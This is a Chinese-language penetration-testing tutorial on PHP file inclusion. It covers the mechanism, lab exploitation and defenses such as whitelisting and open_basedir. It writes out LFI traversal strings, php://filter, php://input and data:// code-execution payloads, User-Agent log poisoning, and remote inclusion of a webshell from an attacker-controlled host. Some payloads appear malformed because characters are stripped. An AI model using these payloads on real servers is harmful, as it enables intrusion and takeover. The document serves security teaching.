文件包含漏洞:从代码复用到服务器失控的渗透测试实战解析 📅 2026/6/25 20:43:19 1. 项目概述从“包含”到“失控”的边界如果你刚开始接触网络安全尤其是渗透测试这个领域可能会被各种“漏洞”的名字搞得眼花缭乱。SQL注入、XSS、CSRF……每个听起来都像是一道复杂的数学题。今天我想和你聊一个名字听起来很“温和”但实际威力巨大、在实战中极为常见的漏洞——文件包含漏洞。它不像SQL注入那样直接“注入”数据库也不像XSS那样在浏览器里“弹窗”它的核心动作是“包含”即让服务器去读取并执行一个文件。问题就出在这个“包含”的动作上如果服务器对“包含哪个文件”这件事失去了控制攻击者就能让它去读取系统敏感文件甚至执行任意代码从而完全接管服务器。我第一次在实战靶场比如DC-1、BugKu里遇到这个漏洞时感觉就像发现了一个“后门钥匙”。服务器本意是让你包含一个它设定好的模板文件比如header.php但你却通过一些技巧让它包含了系统的密码文件/etc/passwd或者你自己上传的一个恶意脚本。这种“指哪打哪”的能力让文件包含漏洞成为渗透测试中获取WebShell、进行内网横向移动的绝佳跳板。无论是CTF比赛还是真实的企业渗透测试项目它都是必须掌握的核心漏洞类型之一。这篇文章我将从一个从业者的角度带你彻底拆解文件包含漏洞的原理、类型、利用手法以及防御之道让你不仅能看懂更能亲手复现和防御它。2. 核心原理服务器“听话”的代价要理解文件包含漏洞我们必须先回到Web应用开发的一个常见需求代码复用。想象一下你正在开发一个网站每个页面都有相同的顶部导航栏Header和底部版权信息Footer。聪明的做法是把这些公共部分写成独立的文件比如header.php和footer.php然后在每个页面里“包含”它们。这样修改导航栏时你只需要改一个文件所有页面就都更新了。在PHP中这通常通过四个函数来实现include()、require()、include_once()、require_once()。它们的区别主要在于文件不存在时的处理方式require会报致命错误并停止脚本include只会报警告以及是否重复包含。漏洞的种子就在这里埋下了。这些包含函数的参数通常是一个表示文件路径的变量。在理想情况下这个变量是开发者硬编码或严格控制的比如include(‘./templates/header.php‘);。但现实往往是为了灵活性这个路径可能来自于用户输入比如URL参数。例如页面通过?pageabout.php这样的参数来动态加载不同的内容页面代码可能写成include($_GET[‘page‘]);。关键转折点服务器非常“听话”。当你传入?pageabout.php它就去包含about.php如果你传入?page../../../etc/passwd它就会尝试跳出Web目录去包含系统根目录下的密码文件。服务器默认不会去判断这个文件是不是它“预期”的那个模板文件它只是机械地执行“包含”这个动作。更危险的是被包含的文件内容会被当作PHP代码来解析执行如果文件内容是PHP代码的话而不仅仅是读取文本。这就为攻击者将任意代码“注入”到服务器执行流程打开了大门。我们可以用一个简单的类比来理解你家的智能管家被设定为“执行来自主人手机指令”。正常情况下你发指令“播放客厅音乐”。但攻击者伪装成你的手机发来指令“打开保险箱并拍照”。如果管家没有严格验证指令来源和内容是否合法它就会乖乖照做。文件包含漏洞就是这个“没有验证”的管家。2.1 两种主要的包含类型根据包含动作发生的位置文件包含主要分为两类理解它们的区别对后续利用至关重要本地文件包含这是最常见的一种。漏洞代码中包含的文件路径参数用户虽然可以控制但服务器最终是在自身文件系统上寻找并读取这个文件。攻击者的目标是让服务器读取它本不该读取的文件。例如读取系统敏感文件/etc/passwdLinux用户信息、/etc/shadowLinux密码哈希需高权限、C:\Windows\System32\drivers\etc\hostsWindows主机文件、Web应用配置文件如config.php、database.inc等。读取Web目录下的源码文件通过包含.php文件有时能直接看到源码如果配置不当未解析从而发现数据库密码、其他漏洞点。包含日志文件如果攻击者能将PHP代码写入日志例如通过User-Agent头再包含该日志文件代码就会被执行。包含临时文件/会话文件利用上传等功能产生的临时文件。远程文件包含这是一种更危险的情况。当PHP配置中allow_url_include选项设置为On时现代PHP版本默认是Offinclude和require函数不仅可以包含本地文件还可以包含远程URL上的文件。攻击者可以在自己控制的服务器上放置一个恶意的PHP脚本然后让目标网站去包含这个远程URL。这样一来攻击者就完全掌控了被包含的代码内容相当于直接让目标服务器执行了攻击者的任意指令。其危害性远大于LFI。例如include(‘http://attacker.com/shell.txt‘);其中shell.txt的内容是?php system($_GET[‘cmd‘]);?。注意在实战中RFI的利用条件较为苛刻需要特定配置。但一旦存在几乎等同于直接获取WebShell。因此在渗透测试信息收集阶段了解目标服务器环境如PHP版本、配置非常重要。3. 漏洞利用实战从读取到执行理解了原理我们进入最“硬核”的部分——实战利用。我会结合常见的渗透测试靶场如BugKu、DVWA、DC系列场景拆解每一步的操作和背后的思考。3.1 漏洞点的发现与探测首先如何判断一个网站存在文件包含漏洞通常有以下几种线索URL参数特征观察URL寻找像?page,?file,?load,?path,?include这样的参数。例如http://target.com/index.php?pagenews。参数值尝试尝试修改参数值观察页面变化。尝试目录遍历将news改为../../../../etc/passwd。如果页面返回了用户列表信息说明存在LFI。尝试绝对路径直接输入/etc/passwd某些情况下有效。尝试PHP封装器输入php://filter/readconvert.base64-encode/resourceindex.php下文会详细解释。如果返回了Base64编码的源码也是漏洞存在的强信号。错误信息尝试包含一个不存在的文件如?pagenon_exist.php。如果返回的错误信息中包含了完整的文件路径信息这不仅能确认漏洞还泄露了网站的绝对路径对后续利用帮助极大。功能点推测一些具有“文件加载”功能的前端表现如语言切换?langen、模板切换?themeblue、下载功能?downloadreport.pdf等后端都可能使用了文件包含逻辑。实操心得在自动化扫描之外手工测试时养成“参数污染”的习惯。对每一个看到的参数都下意识地问自己“如果这个参数被用来拼接到文件路径里会怎样” 用Burp Suite的Intruder模块加载一个包含常见LFI测试Payload的字典如../../etc/passwd,....//....//etc/passwd,%2e%2e%2fetc%2fpasswd等进行模糊测试是高效发现此类漏洞的方法。3.2 本地文件包含的利用技巧假设我们通过?file../../../../etc/passwd确认了LFI漏洞。接下来可以做什么1. 敏感信息读取 这是最直接的目的。除了/etc/passwd还可以尝试/etc/shadow获取密码哈希需root权限。/proc/self/environ包含当前进程的环境变量可能泄露路径、密钥。/proc/self/cmdline查看启动当前进程的命令行。Web服务器日志Apache通常为/var/log/apache2/access.log Nginx通常为/var/log/nginx/access.log。读取日志可以帮助你了解其他访问者的行为更重要的是为“日志投毒”做准备。应用配置文件通过路径遍历寻找config.php,database.inc,settings.inc,web.config,.env等文件。这些文件里往往直接写着数据库用户名和密码。2. 利用PHP封装器PHP提供了一系列“封装协议”它们像是一个个特殊的“文件系统”可以处理数据流。在文件包含中它们被广泛用于绕过限制和读取源码。php://filter这是读取PHP源码的神器。因为正常情况下服务器包含一个.php文件时会执行它而不是显示源码。php://filter可以让我们在文件被包含执行前先对其内容进行编码转换。读取源码Payload?filephp://filter/readconvert.base64-encode/resourceindex.php原理这个Payload告诉PHP“请包含index.php这个资源但在包含之前先用convert.base64-encode这个过滤器处理一下它的内容。” 于是index.php的源代码被Base64编码后输出到页面上。我们只需要将输出的乱码复制下来进行Base64解码就能得到清晰的源代码。这在代码审计时至关重要。php://input这是执行任意代码的利器。它允许你访问请求的原始数据即HTTP POST Body。当allow_url_include开启时可以配合POST请求使用。利用方法将请求方法改为POST。设置参数?filephp://input。在POST Body中直接写入PHP代码例如?php system(‘whoami‘); ?。发送请求服务器会包含php://input这个“流”其内容就是POST Body里面的PHP代码会被执行并返回命令结果。data://另一种直接执行代码的方式。它允许在URI中直接嵌入数据。利用方法?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4。其中PD9waHA...是?php system(‘whoami‘); ?的Base64编码。服务器会解码并执行这段代码。3. 日志文件包含与投毒这是LFI升级为远程代码执行的最经典手法之一尤其当allow_url_include关闭时。原理Web服务器会将每一个访问请求记录在日志文件中包括请求的URL、User-Agent、Referer等头部信息。如果我们在User-Agent或Referer中插入PHP代码这段代码就会被原样写入日志文件。然后我们利用LFI漏洞去包含这个日志文件其中的PHP代码就会被解析执行。实操步骤确认日志路径通过LFI读取/etc/apache2/apache2.conf或错误信息猜测日志路径常见如/var/log/apache2/access.log。投毒使用Burp Suite或Curl发送一个请求将User-Agent设置为PHP代码User-Agent: ?php system($_GET[‘c‘]); ?。包含执行访问?file/var/log/apache2/access.logcid。服务器会包含日志文件当解析到我们插入的?php ... ?标签时就会执行system(‘id‘)命令并将结果返回在页面中。4. 利用文件上传功能如果网站同时存在文件上传漏洞和文件包含漏洞那简直是“天作之合”。步骤上传一个图片马将PHP代码嵌入图片的EXIF信息中或直接上传一个.php后缀的WebShell如果上传点过滤不严。上传后服务器会返回文件的访问路径例如/uploads/202405/shell.jpg。利用LFI漏洞去包含这个上传的文件?file./uploads/202405/shell.jpg。即使它是.jpg后缀只要文件内容包含有效的PHP标签?php ... ?在被include()函数处理时其中的PHP代码依然会被执行。3.3 远程文件包含的利用如果运气好或者说目标配置不当遇到了allow_url_includeOn的情况利用就变得非常简单直接。搭建恶意服务器在自己的VPS或可控机器上创建一个文本文件内容为WebShell例如shell.txt内容为?php echo ‘pre‘ . shell_exec($_GET[‘cmd‘]) . ‘/pre‘; ?。发起包含请求直接让目标网站包含你的远程URL?filehttp://your-vps-ip/shell.txt。执行命令访问?filehttp://your-vps-ip/shell.txtcmdwhoami即可在目标服务器上执行命令。重要提示在实际渗透测试中必须获得书面授权方可进行此类操作。未经授权的测试是违法行为。4. 防御策略如何让服务器“不听话”作为开发者如何避免引入文件包含漏洞作为安全人员如何检查代码防御的核心思想是对用户输入进行严格的白名单校验并限制包含操作的范围。1. 避免动态包含或使用静态映射最根本的解决方法是避免使用用户输入直接作为包含路径。如果必须动态加载可以建立一个“允许包含的文件名”白名单。// 危险做法 $page $_GET[‘page‘]; include($page . ‘.php‘); // 安全做法白名单校验 $allowed_pages [‘home‘, ‘about‘, ‘contact‘]; $page $_GET[‘page‘]; if (in_array($page, $allowed_pages)) { include(‘./templates/‘ . $page . ‘.php‘); } else { include(‘./templates/404.php‘); }2. 设置包含目录限制在PHP配置文件php.ini中或使用open_basedir指令可以将PHP脚本能访问的文件限制在指定的目录树中。这能有效防止目录遍历攻击到系统关键区域。; 在php.ini中 open_basedir /var/www/html:/tmp这样PHP脚本就只能操作/var/www/html和/tmp下的文件无法访问/etc等目录。3. 禁用危险的PHP配置将allow_url_include设置为Off这是防止RFI的最有效手段。现代PHP版本默认已关闭。将allow_url_fopen设置为Off虽然主要影响文件操作函数但关闭它能增加一层安全屏障。4. 对输入进行严格过滤和规范化过滤目录遍历字符在使用输入前过滤掉../,..\,%2e%2e%2f等字符的多种编码形式。但要注意过滤可能被绕过如....//在某些场景下会被归一化为../。使用basename()函数该函数返回路径中的文件名部分会去掉目录。include(basename($_GET[‘file‘]))可以防止直接的路径遍历但无法防御编码绕过或绝对路径攻击。使用绝对路径白名单将包含路径固定在一个安全目录下然后拼接经过严格校验的文件名。5. 使用安全的文件包含函数替代方案考虑使用其他方式实现动态内容加载例如使用前端框架的组件化。使用后端模板引擎如Twig、Smarty它们通常有更安全的包含机制。使用文件读取函数如file_get_contents()读取静态内容然后输出但切记不要将读取的内容直接传递给eval()函数。5. 在渗透测试流程中的定位文件包含漏洞的发现和利用通常贯穿于渗透测试的多个阶段信息收集与侦察阶段通过目录扫描、参数分析初步识别可能存在包含功能的URL端点。漏洞扫描与手动测试阶段使用工具如Burp Suite Scanner, OWASP ZAP进行自动化模糊测试。手工对可疑参数进行LFI/RFI的Payload测试。结合其他漏洞如上传进行联动测试。漏洞利用与权限提升阶段利用LFI读取配置文件获取数据库凭证进一步渗透。通过日志投毒或封装器获取WebShell建立持久化连接。读取系统信息为内核漏洞提权做准备。报告撰写阶段需要清晰描述漏洞位置、利用步骤、复现过程、安全影响CVSS评分并提供具体的修复建议即上述防御策略。在像DC-1、BugKu这样的渗透测试靶场中文件包含漏洞常常是突破边界、拿到第一个立足点的关键。它考验的不仅是技术更是对Web应用架构的理解和“突破常规”的思维。从“包含一个文件”这个简单的动作开始一步步探索最终可能通向整个服务器的控制权。这种“四两拨千斤”的感觉正是渗透测试的魅力之一。理解它利用它最终学会防御它是每一个安全从业者成长的必经之路。